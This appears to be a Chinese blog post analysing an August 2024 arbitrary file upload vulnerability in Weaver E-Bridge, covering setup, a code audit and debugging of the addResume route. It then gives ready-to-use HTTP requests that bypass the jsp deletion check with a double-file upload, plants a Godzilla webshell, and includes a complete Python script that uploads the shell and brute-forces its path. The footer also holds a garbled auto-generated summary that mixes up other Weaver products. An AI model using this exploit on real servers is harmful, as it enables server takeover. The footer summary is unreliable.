泛微云桥前台文件上传漏洞-202408

漏洞简介

2024 年 8 月份新出漏洞,泛微云桥任意文件上传漏洞,详情如图所示。
image.png

环境搭建

1、下载漏洞环境。
https://wx.weaver.com.cn/download
image.png
2、运行install64.bat,安装环境。
image.png

3、安装成功界面。
未安装补丁,系统不能使用,但漏洞可正常测试。
image.png

4、补丁安装下载这个。
image.png
安装要求:
image.png

代码审计

业务代码存在于:/Desktop/ebridge/tomcat/webapps/ROOT/WEB-INF/weaver/
image.png

静态代码分析

  • 入口点路由

包路径:weaver.weixin.app.recruit.controller
路由:@ActionKey(“/wxclient/app/recruit/resume/addResume”)#addResume()

public void addResume() throws Exception {
try {
    // 从请求中获取上传文件,并限制文件大小为2M
    WxBaseFile wbFile = this.getWxBaseFile(this.wxBaseFileService, this.getPara("fileElementId"), (String)null, 2097152, (String)null);

    // 从请求参数中获取简历模型
    ResumeModel model = (ResumeModel)this.getModel(ResumeModel.class, "resume");

    // 如果获取到了上传的文件,则将文件 ID 设置到简历模型的 "accessory" 字段中
    if (wbFile != null) {
        model.set("accessory", wbFile.getId());
    }

    // 调用简历服务的添加简历方法,传递简历模型和 sysagentid 参数
    if (this.resumeService.addResume(model, this.getPara("sysagentid"))) {
        // 如果添加成功,则返回成功的 JSON 消息
        this.renderJsonMsgForIE("提交成功", true);
    } else {
        // 如果添加失败,则返回失败的 JSON 消息
        this.renderJsonMsgForIE("提交失败", false);
    }

image.png

  • 调用getWxBaseFile()方法

通过 jd-gui (可以编译后字节码文件中搜索)查找getWxBaseFile()方法。

public WxBaseFile getWxBaseFile(WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding)
    throws Exception
{
    // 检查 'filePath' 是否为空。如果为空,则使用 'FileUploadTools.getRandomFilePath()' 方法生成一个随机的文件路径,否则使用提供的 'filePath'。
    String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath;

    // 检查 'fileMaxSize' 是否为 -1。如果是,则使用 'FileUploadTools.getMaxSize()' 方法获取最大文件大小,否则使用提供的 'fileMaxSize'。
    int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize;

    // 检查 'fileEncoding' 是否为空。如果为空,则使用 'FileUploadTools.getEncoding()' 方法获取默认文件编码,否则使用提供的 'fileEncoding'。
    String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding;

    UploadFile uf = null;
    try {
        // !!!使用 'getFile' 方法获取文件,传入 'parameterName'、'_filePath'、'_fileMaxSize' 和 '_fileEncoding' 作为参数。
        uf = getFile(parameterName, _filePath, Integer.valueOf(_fileMaxSize), _fileEncoding);
    }
    catch (Exception e) {
        throw e;
    }

    // 使用 'wxBaseFileService' 的 'parseUploadFile' 方法解析上传文件,并传入 'uf' (UploadFile) 对象。
    return parseUploadFile(wxBaseFileService, uf);
}

image.png
image.png

  • 调用getFile()方法

直接 command + 鼠标点击即可跳转到 getFiles() 方法。
image.png

image.png

  • getFiles() -> new MultipartRequest(xxxxx)

image.png

  • MultipartRequest() -> wrapMultipartRequest()

image.png
image.png

  • wrapMultipartRequest() -> new com.oreilly.servlet.MultipartRequest(xxxxx)

image.png

  • MultipartRequest()

image.png
继续往下。
文件写入操作。
image.png
filePart.writeTo(dir) --> new BufferedOutputStream (new File0utputStream (file)); 调用文件输出流写入文件。
image.png

动态调试准备

1)先停止ebridge_tomcat服务。
image.png

2)将打开调试端口的代码放入 tomcat 中的 starup.bat(\ebridge\tomcat\bin)文件中。

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005

image.png

3)启动 startup.bat,成功开放调试端口 5005。
image.png

4)idea 配置远程调试。
本地使用 idea 打开项目文件。
image.png

5)将依赖库加入项目。
image.png

6)客户端 jdk 要跟服务端对应。
image.png
服务端:
image.png

7)尝试连接调试端口。
image.png
连接成功。
image.png

8)在漏洞代码位置打个断点,点击小蜘蛛。
image.png
发送漏洞数据包,成功在断点处停止。
image.png

动态调试分析

觉得有可以分析的点,就在哪里打断点,然后再发包,到这步看看。🏁
image.png

文件输出流。
image.png
发送双文件写入数据包,发现 2222222222.jsp 被删除了。
在这里插入图片描述

image.png

双文件上传绕过 jsp 文件删除检测,其实是JFinal依赖包的漏洞。
详见:https://mp.weixin.qq.com/s/gx1qQnOPUIMCia-By5QHlA

总结

  • 静态分析代码流程:先看方法有没有声明,没有声明使用 jd-gui 反编译工具 search 搜索要跳转的类方法,定位到后再去 idea 里查看有无声明,再无声明可结合 jd-gui、jar-analyzer工具搜索查找。
  • 动态分析:每一步都可以打断点动态分析一下,可以随时在每一步骤中用到的方法进行断点分析。

漏洞利用

1、查看补丁号方法:http://172.16.199.142:8088/main/verinfo(图为安全版本)
image.png

2、双文件上传绕过删除.jsp文件功能,默认会删除222222.jsp,需要把要上传的文件内容放入第一个 jsp 中。

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 358
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="111111.jsp"
Content-Type: application/octet-stream

111
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="222222.jsp"
Content-Type: application/octet-stream

222
------WebKitFormBoundaryD5Mawpg068t7pbxZ--


3、传入哥斯拉webshell。
webshell:http://172.16.199.134:8088/upload/202408/G/images.%6a%73%70

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: 172.16.199.134:8088
Content-Length: 3141
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images1.jsp"
Content-Type: application/octet-stream

webshell
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="images2.jsp"
Content-Type: application/octet-stream

123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--


在这里插入图片描述

访问 webshell,后缀 url 编码下才可正常访问。
image.png
image.png
注意路径中的大写字母,老版本随机大写字母 1 位,新版本随机大写字母 2位数。

自动化利用

由于在文件上传利用后需要爆破上传路径,此处编写 python 脚本进行自动化利用。

import argparse
import sys
import requests
from datetime import datetime
import time
import string
import urllib.request
import urllib.error

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'https://127.0.0.1:8080'
}


def request_post(host, timestamp):
    url = host + "/wxclient/app/recruit/resume/addResume?fileElementId=H"

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ',
    }
    shell = r'hello' #在此处替换文件上传内容
    body = '''------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="{0}.jsp"
Content-Type: application/octet-stream

{1}
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="2222222222.jsp"
Content-Type: application/octet-stream

123
------WebKitFormBoundaryD5Mawpg068t7pbxZ--'''.format(timestamp, shell)

    response = requests.post(url, headers=headers, data=body, verify=False)
    print("[*] 文件上传完成。")

def urllib_request(webshell):
    split_string = webshell.split("/")
    host = "/".join(split_string[2:3])

    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36',
        'Accept': '*/*',
        'Connection': 'close'
    }

    try:
        req = urllib.request.Request(webshell, headers=headers)
        response = urllib.request.urlopen(req)
        # print(response.read().decode('iso-8859-1'))
        # print(webshell)
        # print(response.status)
        if response.status == 200:
            print("[+] Webshell: " + webshell)
            sys.exit("[*] 已匹配 webshel(哥斯拉/imageType/pass/key)。")
    except urllib.error.URLError as e:
        pass


def main():
    banner = """

    泛微云文件上传桥漏洞脚本的 banner 

                         ---202408

"""

    print(banner)
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="Target URL: Example: http(s)://ip:port。")
    args = parser.parse_args()

    if args.url != None:
        if args.url.endswith('/'):
            args.url = args.url.rstrip('/')
        timestamp = int(time.time())

        request_post(args.url, timestamp)
        now = datetime.now()
        year = now.year
        month = now.month
        formatted_date = f"{year:04d}{month:02d}"
        uppercase_letters = string.ascii_uppercase
        for letter in uppercase_letters:
            # print(letter)
            webshell = args.url + "/upload/" + formatted_date + "/" + letter + "/" + str(timestamp) + ".js%70"
            urllib_request(webshell)
            time.sleep(0.1)

        for letter1 in uppercase_letters:
            for letter2 in uppercase_letters:
                letters = letter1 + letter2
                webshell = args.url + "/upload/" + formatted_date + "/" + letters + "/" + str(timestamp) + ".js%70"
                urllib_request(webshell)
                time.sleep(0.1)

        print("[-] 未找到Webshell。")


if __name__ == "__main__":
    main()

image.png

参考

https://mp.weixin.qq.com/s/_XGhSWT0k_prUbhRZ5MmrQ 分析文章
https://mp.weixin.qq.com/s/v9uyL_Vm8s4oAkfdZuoZFA 攻击复现
https://blog.csdn.net/qq_45533926/article/details/108246922 双文件上传

  • 15
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
泛微e-cology前台文件上传漏洞是指在泛微e-cology系统的前台功能中存在漏洞,攻击者可以利用该漏洞上传恶意文件到服务器上。根据引用\[1\]中提到的CNVD-2020-33199漏洞编号,该漏洞可能存在于泛微e-cology9版本的前台文件上传功能中。具体触发点位于文件/global_search.php的第108行,调用了doc2text()函数,并追溯到doc2txt()函数中的$FILE_PATH参数的源代码。该参数连接了附件目录(C:\eoffice9\webroot\ATTACHMENT)的数据表FLE_CONTENT中ATTACHMENT_ID和ATTACHMENT_NAME列的值,以获取完整的文件路径。\[2\] 需要注意的是,根据引用\[3\]中的声明,本文提供的信息仅供网络安全人员参考,未经授权请勿利用文章中的技术资料进行任何入侵操作。同时,禁止将本文提供的工具用于其他目的。 #### 引用[.reference_title] - *1* [泛微e-cology9前台文件上传漏洞复现](https://blog.csdn.net/qq_41490561/article/details/116119845)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [泛微E-Office前台文件上传漏洞](https://blog.csdn.net/u010025272/article/details/131312528)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

LQxdp

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值